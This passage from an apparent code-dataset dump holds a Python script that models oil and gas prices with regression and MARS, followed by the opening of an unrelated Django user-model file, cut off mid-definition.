2022\r\n\r\n\r\n@author: SeanSteele\r\n\"\"\"\r\n\r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport statsmodels.api as sm\r\nimport statsmodels.formula.api as smf\r\nimport tqdm\r\nimport pyearth\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nimport itertools\r\n\r\nos.chdir('C:\\\\Users\\\\SeanSteele\\\\Desktop\\\\Oil')\r\n\r\noil2 = pd.read_csv('full_oil_sum.csv')\r\nmonth_no = []\r\nfor i in range(len(oil2)):\r\n month_no.append(i+1)\r\noil2['month_no'] = month_no\r\n\r\noil2['refiner_margin'] = oil2['refiner_margin']/100\r\n\r\noil_yr = pd.read_csv('oil_sum_yr.csv')\r\nyear_num = []\r\nfor i in range(len(oil_yr)):\r\n year_num.append(i+1)\r\noil_yr['year_num'] = year_num\r\n\r\n\r\n#%%\r\ndef auto_reg(df, metric, n_days, formula):\r\n df2 = pd.DataFrame(df[metric])\r\n df2['month_no'] = df['month_no']\r\n preds = [np.nan]*n_days\r\n end = n_days\r\n for i in range((len(df)) - end):\r\n auto_reg_df = df2.iloc[i:end,:]\r\n reg = smf.ols(formula=formula, data=auto_reg_df).fit()\r\n preds.append(reg.predict(df2['month_no'][df2.month_no == end+1]))\r\n end +=1\r\n final_list = preds[0:n_days]\r\n for i in range((n_days),len(preds)): \r\n final_list.append(preds[i].values[0])\r\n df['auto'] = final_list\r\n return df\r\n\r\ndef sm_reg(data, xvars, yvar):\r\n X = data[xvars]\r\n X = sm.add_constant(X)\r\n Y = data[yvar]\r\n reg = sm.OLS(Y,X)\r\n reg = reg.fit(cov_type='HC3')\r\n return reg\r\n\r\ndef Find_Pattern(Text, Pattern, numOfPattern):\r\n in_thisstring = 0 #ensure no double counting if shows up with multiple basis functions\r\n for each in range(0, len(Text)-len(Pattern)+1): \r\n if Text[each:each+len(Pattern)] == Pattern and in_thisstring == 0:\r\n numOfPattern += 1\r\n in_thisstring += 1\r\n return numOfPattern\r\n\r\ndef mse_2reg(train, test, xvars1, yvar1, xvars2, yvar2):\r\n #oil regression\r\n reg1 = sm_reg(train, xvars1, yvar1)\r\n x_pred = test[xvars1]\r\n x_pred = sm.add_constant(x_pred)\r\n pred1 = reg1.predict(x_pred)\r\n test['oil_pred'] = pred1\r\n #oil -> gas regression\r\n reg2 = sm_reg(train, ['oil_price', xvars2], yvar2)\r\n x_pred2 = test[['oil_pred', xvars2]]\r\n x_pred2 = sm.add_constant(x_pred2)\r\n pred2 = reg2.predict(x_pred2)\r\n mse = np.mean((pred2 - test.gas_raw)**2)\r\n return mse\r\n\r\ndef back2model_sel(train, test, x_vars1, yvar1, x_vars2, yvar2):\r\n #init end point\r\n max_pop = len(x_vars1)\r\n pop_index = 0\r\n max_iter = 100\r\n iteration = 0\r\n while pop_index < max_pop and iteration < max_iter:\r\n #fit MSE on current full model\r\n mse1 = mse_2reg(train, test, x_vars1, yvar1, x_vars2, yvar2)\r\n #drop variable\r\n x_varsnew = x_vars1[:pop_index] + x_vars1[pop_index + 1:]\r\n #compute new mse\r\n mse2 = mse_2reg(train, test, x_varsnew, yvar1, x_vars2, yvar2)\r\n #if mse1 > mse2 drop variable and restart, if not move on to next variable\r\n if mse1 > mse2:\r\n x_vars1 = x_varsnew\r\n #reset counters\r\n max_pop = len(x_vars1)\r\n pop_index = 0\r\n else:\r\n pop_index += 1\r\n iteration += 1\r\n print (iteration)\r\n return [x_vars1, mse1]\r\n\r\ndef mse_reg(train, xvars, test):\r\n X = train[xvars]\r\n X = sm.add_constant(X)\r\n Y = train['oil_price']\r\n reg = sm.OLS(Y,X)\r\n reg = reg.fit()\r\n x_pred = test[xvars]\r\n x_pred = sm.add_constant(x_pred)\r\n pred = reg.predict(x_pred)\r\n mse = np.mean((pred - test.oil_price)**2)\r\n return mse\r\n\r\ndef backmodel_sel(train, test, x_vars):\r\n #init end point\r\n max_pop = len(x_vars)\r\n pop_index = 0\r\n while pop_index < max_pop:\r\n #fit MSE on current full model\r\n mse1 = mse_reg(train, x_vars, test)\r\n #drop variable\r\n x_varsnew = x_vars[:pop_index] + x_vars[pop_index + 1:]\r\n #compute new mse\r\n mse2 = mse_reg(train, x_varsnew, test)\r\n #if mse1 > mse2 drop variable and restart, if not move on to next variable\r\n if mse1 > mse2:\r\n x_vars = x_varsnew\r\n #reset counters\r\n max_pop = len(x_vars)\r\n pop_index = 0\r\n else:\r\n pop_index += 1\r\n return [x_vars, mse1]\r\n\r\ndef minmax_scale(df, column):\r\n scaler = MinMaxScaler()\r\n scaler.fit(df[column].values.reshape(-1,1))\r\n return scaler.transform(df[column].values.reshape(-1,1))\r\n\r\n#%%\r\n'''\r\nFull model with MARS\r\n\r\n'''\r\n#%% full mars predictions\r\n##FULL MARS\r\nmars_full = pyearth.Earth(allow_linear=True)\r\n#drop NA, non-numerics, duplicate info columns, and cheater columns (gas margin + refiner cost = gas price)\r\nx_full = oil2.iloc[:,oil2.columns != 'gas_raw']\r\nx_full = x_full.iloc[:, x_full.columns != 'date']\r\nx_full = x_full.iloc[:, x_full.columns != 'pres']\r\nx_full = x_full.iloc[:, x_full.columns != 'refiner_cost']\r\nx_full = x_full.iloc[:, x_full.columns != 'refiner_sale']\r\nx_full = x_full.iloc[:, x_full.columns != 'gas_margin']\r\nx_full = x_full.iloc[:, x_full.columns != 'gas_adj']\r\nx_full = x_full.iloc[:, x_full.columns != 'running_def_Mbbl']\r\nx_full = x_full.iloc[:, x_full.columns != 'us_prod_Mbbld']\r\nx_full = x_full.iloc[:, x_full.columns != 'opec_prod_Mbbld']\r\nx_full = x_full.iloc[:, x_full.columns != 'glob_prod_Mbbld']\r\nx_full = x_full.iloc[:, x_full.columns != 'us_con_Mbbld']\r\nx_full = x_full.iloc[:, x_full.columns != 'glob_con_Mbbld']\r\nx_full = x_full.iloc[:, x_full.columns != 'glob_deficit_Mbbld']\r\nx_full = x_full.iloc[:, x_full.columns != 'oil_price']\r\nx_full = x_full.iloc[:, x_full.columns != 'refiner_margin']\r\nx_final = x_full.dropna()\r\n\r\ny_full = oil2['oil_price']\r\ny_final = y_full.iloc[49:246]\r\n\r\nmars_full.fit(x_final, y_final)\r\n\r\nfull_sum = mars_full.summary()\r\n\r\nmars_full.mse_\r\n\r\ny_new = mars_full.predict(x_final)\r\n\r\nplt.plot(x_final.month_no, y_final)\r\nplt.plot(x_final.month_no, y_new, color='red')\r\n\r\n#out of sample drop last 45 days and select significant columns\r\ny_train = y_full.iloc[49:200]\r\nx_train = x_full.iloc[49:200,:]\r\nx_test = x_full.iloc[201:246]\r\n\r\nmars_train = pyearth.Earth()\r\nmars_train.fit(x_train, y_train)\r\ntrain_sum = mars_train.summary()\r\n\r\ny_pred = mars_train.predict(x_test)\r\n\r\nx_values = x_test[x_test.month_no > 201].month_no\r\ny_real = y_final.loc[201:]\r\n\r\n\r\nplt.plot(x_values, y_real)\r\nplt.plot(x_values, y_pred, color='red')\r\n\r\n#%%\r\n'''\r\nAll possible Models space\r\n'''\r\n#%%\r\n#set up autoreg\r\noil2 = auto_reg(oil2, 'oil_price', 7, \"oil_price ~ month_no\")\r\ndata = oil2.dropna()\r\n#split train test data\r\ntrain = data[data.month_no < 200]\r\ntest = data[data.month_no > 200]\r\n\r\n#all un-diff variables \r\nxvar_all = ['us_prod','opec_prod','glob_prod','us_con','glob_con','glob_deficit',\r\n 'running_def','republican','new_rigs','us_cpi','us_core_cpi','us_indust_prod',\r\n 'us_retail_sales','oced_gdp','core_cpi','indust_prod','unem_rate','retail_sales',\r\n 'world_cpi', 'auto']\r\n\r\nall_combos = []\r\nfor c in range(len(xvar_all) + 1):\r\n all_combos += (list(itertools.combinations(xvar_all, c)))\r\n \r\n#convert tuples to lists\r\nxlist = []\r\nfor i in range(len(all_combos)):\r\n xlist.append(list(all_combos[i]))\r\n\r\n\r\n#loop over all models and compute mse - Brute force: too long just ex code\r\nbatch_start = 900000\r\nbatch_end = 1048575\r\n#set up dataframe and lists to hold results\r\nmodel = []\r\nout_mse = []\r\nfor i in tqdm.tqdm(range(batch_start, batch_end)): #tqdm to look fancy!\r\n model.append(xlist[i])\r\n out_mse.append(mse_reg(train,xlist[i], test))\r\n\r\n\r\nresults = pd.DataFrame()\r\nresults['mse'] = out_mse\r\nresults['model'] = model\r\n\r\nresults_concat = pd.read_csv('brute_force.csv')\r\nresults_concat = results_concat.append(results)\r\n#write results to csv (save in batches)\r\nresults_concat.to_csv('brute_force.csv', index = False)\r\n\r\n#take all models under 70 MSE\r\nconsider_models = results_concat[results_concat['mse'] < 70]\r\n#remove auto from all models and reformat models\r\nnot_auto = []\r\nmodel = []\r\n\r\nfor i in range(len(consider_models)):\r\n mod = [j for j in consider_models['model'].iloc[i].split(', ') if j != 'auto']\r\n mod_orig = [j for j in consider_models['model'].iloc[i].split(', ')]\r\n not_auto.append(mod) \r\n model.append(mod_orig)\r\nconsider_models['not_auto'] = not_auto\r\nconsider_models['model'] = model\r\n\r\n#compute MSE without auto, with auto through gas, without auto through gas\r\nnonauto_mse = []\r\nnonauto_mse_gas = []\r\nauto_mse_gas = []\r\nfor i in tqdm.tqdm(range(1,len(consider_models))): #tqdm to look fancy!\r\n nonauto_mse.append(mse_reg(train,consider_models['not_auto'].iloc[i], test))\r\n nonauto_mse_gas.append(mse_2reg(train,test, consider_models['not_auto'].iloc[i], 'oil_price','refiner_margin','gas_raw'))\r\n auto_mse_gas.append(mse_2reg(train,test, consider_models['model'].iloc[i], 'oil_price','refiner_margin','gas_raw'))\r\n\r\nconsider_models = consider_models.iloc[1:,:]\r\nconsider_models['nonauto_mse'] = nonauto_mse\r\nconsider_models['nonauto_mse_gas'] = nonauto_mse_gas\r\nconsider_models['auto_mse_gas'] = auto_mse_gas\r\n\r\n#Normalize MSEs, add auto mses as crital, non-auto as extra, all as total\r\nconsider_models['auto_oil_mse_scale'] = minmax_scale(consider_models,'mse')\r\nconsider_models['noauto_oil_mse_scale'] = minmax_scale(consider_models,'nonauto_mse')\r\nconsider_models['auto_gas_mse_scale'] = minmax_scale(consider_models,'auto_mse_gas')\r\nconsider_models['noauto_gas_mse_scale'] = minmax_scale(consider_models,'nonauto_mse_gas')\r\n\r\nconsider_models['critial_mse'] = consider_models['auto_oil_mse_scale'] + consider_models['auto_gas_mse_scale']\r\nconsider_models['non_critial_mse'] = consider_models['noauto_oil_mse_scale'] + consider_models['noauto_gas_mse_scale']\r\n\r\nconsider_models['total_mse'] = consider_models['critial_mse'] + consider_models['non_critial_mse']\r\n\r\nconsider_models.to_csv('brute_force_consider.csv', index = False)\r\n\r\n#####\r\nconsider_models = pd.read_csv('brute_force_consider.csv')\r\nconsider_models['gas_mse'] = consider_models['auto_gas_mse_scale'] + consider_models['noauto_gas_mse_scale']\r\nconsider_models['oil_mse'] = consider_models['auto_oil_mse_scale'] + consider_models['noauto_oil_mse_scale']\r\n#%%\r\n'''\r\nMARS term frequency exploration Dimentionality reduction\r\n'''\r\n\r\n#%%\r\n#init new mars object\r\nmars = pyearth.Earth(allow_linear=True)\r\n#init results container\r\nresults = []\r\n#run once over whole exploration data\r\nmars.fit(x_final, y_final)\r\nresults.append(mars.summary())\r\n\r\nfor i in range(200):\r\n mars = pyearth.Earth(allow_linear=True)\r\n #80-20 random train test splits\r\n x_train2, x_test2, y_train2, y_test2 = train_test_split(x_train, y_train)\r\n mars.fit(x_train2, y_train2)\r\n results.append(mars.summary())\r\n\r\nterm_ct_df = pd.DataFrame(x_final.columns.values)\r\nterm_ct_df['count'] = np.nan\r\nfor j in range(len(term_ct_df)):\r\n term = term_ct_df.iloc[j,0]\r\n count = 0\r\n for i in range(len(results)):\r\n count = Find_Pattern(results[i],term, count)\r\n term_ct_df['count'].loc[j] = count\r\nterm_ct_df['percent_present'] = term_ct_df['count']/201\r\n\r\n#%%\r\n'''\r\nModel selection and optimization\r\n'''\r\n\r\n#%%\r\n#train test split and autoregression preparation\r\n#autoreg\r\noil2 = auto_reg(oil2, 'oil_price', 7, \"oil_price ~ month_no\")\r\ndata = oil2.dropna()\r\n\r\ndata['refiner_margin'] = data['refiner_margin']\r\n#train test split\r\ntrain = data[data.month_no < 200]\r\ntest = data[data.month_no > 200]\r\n\r\n\r\n#Most common MARS variables\r\nxvar_all = ['retail_sales','indust_prod','us_cpi','glob_prod',\r\n 'us_indust_prod','new_rigs','oced_gdp',\r\n 'unem_rate','running_def','opec_prod','us_retail_sales',\r\n 'world_cpi','core_cpi']\r\n#create combo list of all combinations of varaibles\r\nall_combos = []\r\nfor c in range(len(xvar_all) + 1):\r\n all_combos += (list(itertools.combinations(xvar_all, c)))\r\n \r\n#convert tuples to lists\r\nxlist = []\r\nfor i in range(len(all_combos)):\r\n xlist.append(list(all_combos[i]))\r\n#set up dataframe and lists to hold results\r\nmodel = []\r\nout_mse = []\r\n#loop over all models and compute mse\r\nfor i in range(1,len(xlist)):\r\n mse = mse_2reg(train, test, xlist[i], 'oil_price', 'refiner_margin', 'gas_raw')\r\n model.append(xlist[i])\r\n out_mse.append(mse)\r\n print(i)\r\nresults = pd.DataFrame(out_mse, columns=['mse'])\r\nresults['model'] = model\r\n\r\n#take the best 1000, add autoregression to smooth/improve\r\nresults = results.sort_values(by = 'mse')\r\ntop_results = results.head(1000)\r\n#add auto to variables\r\nfor i in range(len(top_results)):\r\n top_results['model'].iloc[i].append('auto')\r\n#run mse calc again with auto included\r\nmse_auto = []\r\nmse_oil = []\r\nfor i in range(len(top_results)): \r\n mse_auto.append( mse_2reg(\r\n train, test, top_results['model'].iloc[i], 'oil_price', 'refiner_margin', 'gas_raw')) \r\n mse_oil.append( mse_reg(train, top_results['model'].iloc[i], test)) \r\ntop_results['mse_auto'] = mse_auto\r\ntop_results['mse_oil'] = mse_oil\r\n\r\n#rescale MSE with minmax scaler\r\ntop_results['mse_auto_scale'] = minmax_scale(top_results,'mse_auto')\r\ntop_results['mse_oil_scale'] = minmax_scale(top_results,'mse_oil')\r\n\r\n#add rescaled together\r\ntop_results['overall_mse'] = top_results['mse_auto_scale'] + top_results['mse_oil_scale']\r\n\r\n\r\n\r\n#%%\r\n'''\r\nBest Model Pipeline: Oil price -> Gas Price\r\n'''\r\n#%%\r\n#establish model\r\n\r\n#model formula\r\nmod_form_original = \"oil_price ~ running_def + us_indust_prod + indust_prod + world_cpi + core_cpi + auto\"\r\nmod_form_best = \"oil_price ~ running_def + us_indust_prod + indust_prod + us_retail_sales + world_cpi + core_cpi + auto\"\r\n\r\nmod_backmodel = \"oil_price ~ us_cpi + us_indust_prod + core_cpi + indust_prod + retail_sales + world_cpi \"\r\n\r\n\r\nmod_form = mod_form_best\r\nreg_auto = sm.formula.ols(formula = mod_form, data = train).fit()\r\nreg_auto.summary()\r\n#second model (convert oil to gas)\r\ngas_reg = sm_reg(train, xvars=['oil_price','refiner_margin'], yvar = ['gas_raw'])\r\ngas_reg.summary()\r\n\r\n#predict oil over whole dataframe\r\nwhole_prediction = reg_auto.get_prediction(data)\r\nwhole_pred = whole_prediction.predicted_mean\r\n#save in whole data\r\ndata['oil_pred'] = whole_pred\r\n\r\n#predict gas from oil predictions over whole data frame\r\ngas_preddata = data[['oil_pred', 'refiner_margin']]\r\n\r\ngas_prediction = gas_reg.get_prediction(sm.add_constant(gas_preddata))\r\ngas_pred = gas_prediction.predicted_mean\r\n\r\nmse_total = np.mean((gas_pred - data.gas_raw)**2)\r\nmse_outsample = np.mean((gas_pred.tolist()[-46:] - data.gas_raw[data.month_no > 200])**2)\r\nmse_oil_outsample = np.mean((whole_pred.tolist()[-46:] - data.oil_price[data.month_no > 200])**2)\r\n\r\nmae_outsample = np.mean(abs(gas_pred.tolist()[-46:] - data.gas_raw[data.month_no > 200]))\r\nmae_oil_outsample = np.mean(abs(whole_pred.tolist()[-46:] - data.oil_price[data.month_no > 200]))\r\n\r\ntotal_error = sum(abs(gas_pred.tolist() - data.gas_raw[data.month_no < 247]))\r\ntotal_oil_error = sum(abs(whole_pred.tolist() - data.oil_price[data.month_no < 247]))\r\n\r\nmae_total = np.mean(abs(gas_pred.tolist() - data.gas_raw[data.month_no < 247]))\r\nmae_oil_total = np.mean(abs(whole_pred.tolist() - data.oil_price[data.month_no < 247]))\r\n\r\ngas_total = sum(data.gas_raw[data.month_no < 247])\r\noil_total = sum(data.oil_price[data.month_no < 247])\r\n\r\n#gas\r\nplt.plot(data.month_no, data.gas_raw, color = 'blue')\r\nplt.plot(data.month_no, gas_pred, color = 'red')\r\nplt.title('Gas Price Prediction Model')\r\nplt.ylabel('Gas Price')\r\nplt.xlabel('Month of Dataset')\r\nplt.text(150, 0.2, \"**Trained on data before month 200\", ha='left')\r\nplt.text(40, 0.26, \"*Out Sample MSE: 0.015\", ha='left')\r\nplt.text(40, 0.06, \"*Out Sample MAE: 0.102\", ha='left')\r\nplt.text(150, 0.06, \"*Total MAE: 0.107\", ha='left')\r\n\r\n#oil price\r\nplt.plot(data.month_no, data.oil_price, color = 'blue')\r\nplt.plot(data.month_no, whole_pred, color = 'red')\r\nplt.title('Oil Price Prediction Model')\r\nplt.ylabel('Oil Price')\r\nplt.xlabel('Month of Dataset')\r\nplt.text(150, -15, \"**Trained on data before month 200\", ha='left')\r\nplt.text(40, -15, \"*Out Sample MSE: 42.54\", ha='left')\r\nplt.text(40, -22, \"*Out Sample MAE: 5.27\", ha='left')\r\nplt.text(150, -22, \"*Total MAE: 4.63\", ha='left')\r\n\r\n\r\n\r\n#%%\r\n'''\r\nNew Rig Analysis\r\n'''\r\n# %%\r\n#timeseries US prod to rigs\r\nfig, ax1 = plt.subplots()\r\nax1.set_xlabel('month number')\r\nax1.set_ylabel('New rigs - Blue', color='Blue')\r\nax1.plot(oil2.month_no, oil2.new_rigs)\r\nax2 = ax1.twinx()\r\nax2.set_ylabel('US Oil Production - Red', color='Red')\r\nax2.plot(oil2.us_prod, color='Red')\r\nplt.show()\r\n\r\n#scatter us prod to rigs\r\nplt.scatter(oil2.new_rigs, oil2.us_prod, c=oil2.republican)\r\nplt.ylabel('US Production')\r\nplt.xlabel('New Oil Rigs (per month)')\r\nplt.text(5200, 4.3e8, \"Republicans Yellow, Democrats Purple\", ha='center')\r\n\r\n#%%\r\n\r\n'''\r\nPublic acherage and new permits\r\nActive acharage is INVERSELY related to oil production\r\nNew Permits are not related ro production\r\n\r\nPermit issues came down under Obama, crashed at 2008 then rose under Trump\r\nBiden has issued more permits in 2021 than Trump did in any year yet\r\n\r\nIssued permits decently predicts number of active achers until 2018\r\nMaybe sitting on permits? Also not all permits produce? Likely other explainations too\r\nThe correlation is loose too, so perhaps what drives permit seeking and useage are correlated\r\nrather than the permit to the land?\r\n\r\n'''\r\n#%%\r\n# Does new permits or public acherage predict US oil production?\r\nplt.scatter(oil_yr.app_drill_perms, oil_yr.us_yr_prod)\r\nplt.ylabel('US Production')\r\nplt.xlabel('Approved Drilling Permits (Per Year)')\r\nplt.title('US production vs Approved Drilling Permits')\r\n\r\nplt.scatter(oil_yr.act_acherage, oil_yr.us_yr_prod)\r\nplt.ylabel('US Production')\r\nplt.xlabel('Active Drilling on Public Lands')\r\nplt.title('US production vs Active Drilling Acreage')\r\n\r\n#time series\r\nfig, ax1 = plt.subplots()\r\nax1.set_xlabel('year number (of dataset not actual)')\r\nax1.set_ylabel('Permits Issued - Blue', color='Blue')\r\nax1.plot(oil_yr.year_num, oil_yr.app_drill_perms)\r\nax2 = ax1.twinx()\r\nax2.set_ylabel('Number of public actively producing achers - Red', color='Red')\r\nax2.plot(oil_yr.act_acherage, color='Red')\r\nplt.axvline(12, color='purple')\r\nplt.axvline(19, color='red')\r\nplt.axvline(24, color='blue')\r\nplt.text(15, 5.0e7, \"Purple: Jan 2012, Red: Jan 2017, Blue: Jan 2021\", ha='center')\r\nplt.show()\r\n\r\n#approved perms vs oil price\r\nplt.scatter(oil_yr.oil_price, oil_yr.app_drill_perms)\r\nplt.ylabel('Approved Permits')\r\nplt.xlabel('Oil Price')\r\n\r\n#%%\r\n'''\r\nRefiner Margins:\r\nRecord highs since june 2021\r\n\r\n\r\n#changes in the margin correlate to changes in gas price\r\n~1 cent change in margin = ~0.9 cent change in gas\r\nR^2 = 0.43\r\n'''\r\n#%%\r\n#record high refiner margins since mid 2021\r\nplt.plot(oil2.month_no, oil2.refiner_margin)\r\nplt.ylabel('Refiner Margin ($)')\r\nplt.xlabel('Month Number')\r\n#no correlation between gas price and margins until 2021 june\r\nplt.scatter(oil2.refiner_margin,oil2.gas_raw)\r\nplt.ylabel('Gas Price ($)')\r\nplt.xlabel('Refiner Margin ($)')\r\n\r\n\r\n#change in margin to price and change in price\r\noil2['margin_dif'] = oil2.refiner_margin.diff()\r\noil2['gas_dif'] = oil2.gas_raw.diff()\r\n\r\nplt.scatter(oil2.margin_dif, oil2.gas_dif)\r\nplt.ylabel('Delta Gas Price')\r\nplt.xlabel('Delta Refiner Margin ($)')\r\nplt.title('Change in Gas Prices vs Change in Refiner Margins')\r\nplt.text(0.3, -0.57, \"R^2 = 0.36\", ha='center')\r\n\r\n\r\nmargin_changereg = smf.ols(formula=\"gas_dif ~ margin_dif\",\r\n data=oil2).fit(cov='HC3')\r\nmargin_changereg.summary()\r\n\r\nmargin_changereg = smf.ols(formula=\"gas_raw ~ refiner_margin\",\r\n data=oil2).fit(cov='HC3')\r\nmargin_changereg.summary()\r\n\r\n#%%\r\n\r\n'''\r\nWhat Drives Production?\r\n\r\nUS production is not corrlated to oil price, gas price, pesidential party and others\r\nUS production is correlated to retail sales and US CPI and others\r\n\r\nGlobal production is not correlated to US consumption, presidential party or unemployment rate and others\r\nGlobal production is correlated to oil/gas price, global and US CPI, indust production, retail sales, running def, consumption and others\r\n'''\r\n#%%\r\n#get correlations\r\ncorrelates = oil2.corr()\r\nglobprod_corr = correlates['glob_prod']\r\nusprod_corr = correlates['us_prod']\r\n#Mark only those which coeff > 0.5\r\nglobprod_corr_ind = abs(globprod_corr) > 0.5\r\nusprod_corr_ind = abs(usprod_corr) > 0.5\r\n\r\nboth = {\r\n \"Global Production\" :globprod_corr,\r\n \"US Production\" : usprod_corr,\r\n \"Global Production Ind\" :globprod_corr_ind,\r\n \"US Production Ind\" : usprod_corr_ind\r\n }\r\n\r\nboth_corrs = pd.concat(both, axis = 1)\r\n\r\nplt.scatter(oil2.glob_con, oil2.glob_prod)\r\nplt.title('Global Production vs Global Consumption')\r\nplt.ylabel('Global Consumption')\r\nplt.xlabel('Global Production')\r\nplt.text(2.8e9, 2.4e9, \"R^2 = 0.95\", ha='center')\r\n\r\nplt.scatter(oil2.indust_prod, oil2.glob_prod)\r\nplt.title('Global Production vs Global Industrial Production')\r\nplt.ylabel('Global Industrial Production')\r\nplt.xlabel('Global Production')\r\nplt.text(1.5e12, 2.4e9, \"R^2 = 0.97\", ha='center')\r\n\r\nplt.scatter(oil2.world_cpi, oil2.glob_prod)\r\nplt.ylabel('Global CPI')\r\nplt.title('Global Production vs Global CPI')\r\nplt.xlabel('Global Production')\r\nplt.text(110, 2.4e9, \"R^2 = 0.96\", ha='center')\r\n\r\nplt.scatter(oil2.oil_price, oil2.glob_prod)\r\nplt.title('Oil Price to Production')\r\nplt.xlabel('Oil Price')\r\nplt.ylabel('Global Production')\r\nplt.text(110, 2.4e9, \"R^2 = 0.27\", ha='center')\r\n\r\noil2['post_2011'] = np.where(oil2.year > 2011, 1, 0)\r\n\r\n\r\nplt.scatter(oil2.us_prod, oil2.glob_prod, c = oil2.post_2011)\r\nplt.title('US Production to Global Production')\r\nplt.xlabel('US Production')\r\nplt.ylabel('Global Production')\r\nplt.text(3.3e8, 2.4e9, \"R^2 = 0.60\", ha='center')\r\n\r\nplt.scatter(oil2.us_retail_sales, oil2.us_prod, c = oil2.post_2011)\r\nplt.title('US Production vs US Retail Sales')\r\nplt.xlabel('US Retail Sales')\r\nplt.ylabel('US Production')\r\nplt.text(130, 2.2e8, \"R^2 = 0.64\", ha='center')\r\n\r\nplt.scatter(oil2.gas_raw, oil2.us_prod, c = oil2.post_2011)\r\nplt.title('US Production vs Gas Price')\r\nplt.xlabel('Gas Price')\r\nplt.ylabel('US Production')\r\nplt.text(1.25, 3.5e8, \"R^2 = 0.05\", ha='center')\r\n\r\n\r\n#what drives gas price\r\n\r\nplt.scatter(oil2.oil_price, oil2.gas_raw)\r\nplt.title('Oil Price vs Gas Price')\r\nplt.xlabel('Oil Price')\r\nplt.ylabel('Gas Price')\r\nplt.text(30, 3.5, \"R^2 = 0.93\", ha='center')\r\n\r\n","repo_name":"seansteel3/Oil-and-Gas","sub_path":"oil_and_gas.py","file_name":"oil_and_gas.py","file_ext":"py","file_size_in_byte":22436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73575898614","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractBaseUser, PermissionsMixin, BaseUserManager\nfrom django.core.validators import MaxValueValidator\nfrom django.conf import settings\nfrom django.db.models import F, Count, Value, Sum, Avg\nfrom datetime import date, timedelta\nimport time\n\nfrom user.manager import UserObjectManager\n\n\ndepartment_dict = [('1', 'Management'),\n ('2', 'Development'),\n ('3', 'Sales'),\n ('4', 'Human Resource'),\n ('5', 'Data Entry'),\n ('6', 'Creative'),\n ('7', 'Digital Marketing'),\n ]\n\nrelation_dict = [('mother', 'Mother'),\n ('father', 'Father'),\n ('brother', 'Brother'),\n ('sister', 'Sister'),\n ('wife', 'Wife'),\n ('son', 'Son'),\n ('daughter', 'Daughter')]\n\n\ndesignation_choice = [\n ('trainee', 'Trainee'),\n ('jr_developer', 'Jr. Developer'),\n ('developer', 'Developer'),\n ('sr_developer', 'Sr. Developer'),\n ('atl', 'Asst. Team Lead'),\n ('tl', 'Team Lead'),\n ('apm', 'Asst Project Manager'),\n ('pm', 'Project Manager'),\n ('fd', 'Front Desk'),\n ('hr', 'Hr Manager'),\n ('SEO', 'Chief Executive officer'),\n ('CTO', 'Chief Technical officer'),\n ('BDE', 'Business Development Executive'),\n ('seo_executive','Seo Executive'),\n ('sr_seo_executive','Sr seo executive'),\n ('jr_seo_executive', 'Jr seo executive'),\n ('web_designer', 'Web Designer'),\n ('graphic_designer', 'Graphic Designer'),\n ('BDM', 'Business Development Manager')\n]\n\ndesignation_colore = [\n ('trainee', 'primary'),\n ('jr_developer', 'primary'),\n ('developer', 'info'),\n ('sr_developer', 'success'),\n ('atl', 'warning'),\n ('tl', 'warning'),\n ('apm', 'danger'),\n ('pm', 'danger'),\n ('fd', 'info'),\n ('BDE', 'info'),\n ('SEO', 'default'),\n ('CTO', 'default'),\n]\n\n\ndef format_timedelta(td):\n try:\n hours, remainder = divmod(td.total_seconds(), 3600)\n minutes, seconds = divmod(remainder, 60)\n hours, minutes, seconds = int(hours), int(minutes), int(seconds)\n if hours < 10:\n hours = '0%s' % int(hours)\n if minutes < 10:\n minutes = '0%s' % minutes\n if seconds < 10:\n seconds = '0%s' % seconds\n return '%s:%s:%s' % (hours, minutes, seconds)\n except:\n return '%s:%s:%s' % (0, 0, 0)\n\n\nclass CustomUserManager(BaseUserManager):\n \"\"\" Well.. using BaseUserManager \"\"\"\n\n def create_user(self, email, password):\n if not email:\n raise ValueError(\"Users must register an email\")\n\n user = self.model(email=CustomUserManager.normalize_email(email))\n user.set_password(password)\n user.save(using=self._db)\n return user\n\n def create_superuser(self, email, password):\n user = self.create_user(email, password)\n user.is_active = True\n user.is_superuser = True\n user.is_admin = True\n user.is_staff = True\n user.save(using=self._db)\n return user\n\n def all(self, *args, **kwargs):\n return self.get_queryset().filter(is_active=True, *args, **kwargs)\n\n def filter(self, *args, **kwargs):\n return self.get_queryset().filter(is_active=True, *args, **kwargs)\n\n def employee(self, *args, **kwargs):\n return self.get_queryset().filter(*args, **kwargs)\n\nclass Skill(models.Model):\n name = models.CharField(max_length=140)\n created_by = models.ForeignKey(\n settings.AUTH_USER_MODEL, related_name=\"skill_created_by\", verbose_name=\"Created By\")\n modified_by = models.ForeignKey(\n settings.AUTH_USER_MODEL, related_name=\"skill_modified_by\", verbose_name=\"Modified By\")\n created_at = models.DateTimeField(auto_now_add=True)\n modified_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.name\n\n\nclass CustomUser(AbstractBaseUser, PermissionsMixin, UserObjectManager):\n \"\"\" Using email instead of username \"\"\"\n email = models.EmailField(max_length=255, unique=True, db_index=True)\n personal_email = models.EmailField(max_length=255, db_index=True)\n is_active = models.BooleanField(default=True)\n is_admin = models.BooleanField(default=False)\n is_staff = models.BooleanField(default=True)\n is_superuser = models.BooleanField(default=False)\n first_name = models.CharField(max_length=140, blank=True, null=True)\n last_name = models.CharField(max_length=140, blank=True, null=True)\n gender = models.CharField(max_length=255,choices=(('m', \"Male\"),(\"f\",\"Female\")), blank=True, null=True)\n phone_number = models.CharField(max_length=140, blank=True, null=True)\n alternate_phone_number = models.CharField(\n max_length=140, blank=True, null=True)\n address = models.CharField(max_length=140, blank=True, null=True)\n city = models.CharField(max_length=140, blank=True, null=True)\n state = models.CharField(max_length=140, default='')\n pin_code = models.CharField(max_length=140, blank=True, null=True)\n department = models.CharField(max_length=10, choices=department_dict)\n parent = models.ForeignKey(\n 'self', null=True, blank=True, related_name='childs')\n skype = models.CharField(max_length=30, null=True)\n skills = models.ManyToManyField(Skill)\n date_of_joining = models.DateField(null=True, blank=True)\n employee_id = models.CharField(max_length=100, blank=True, null=True)\n profile_image = models.ImageField(\n upload_to='', null=True, default=None, blank=True)\n machine_id = models.IntegerField(null=True, blank=True)\n date_of_birth = models.DateField(null=True, blank=True)\n # date_of_next_increment = 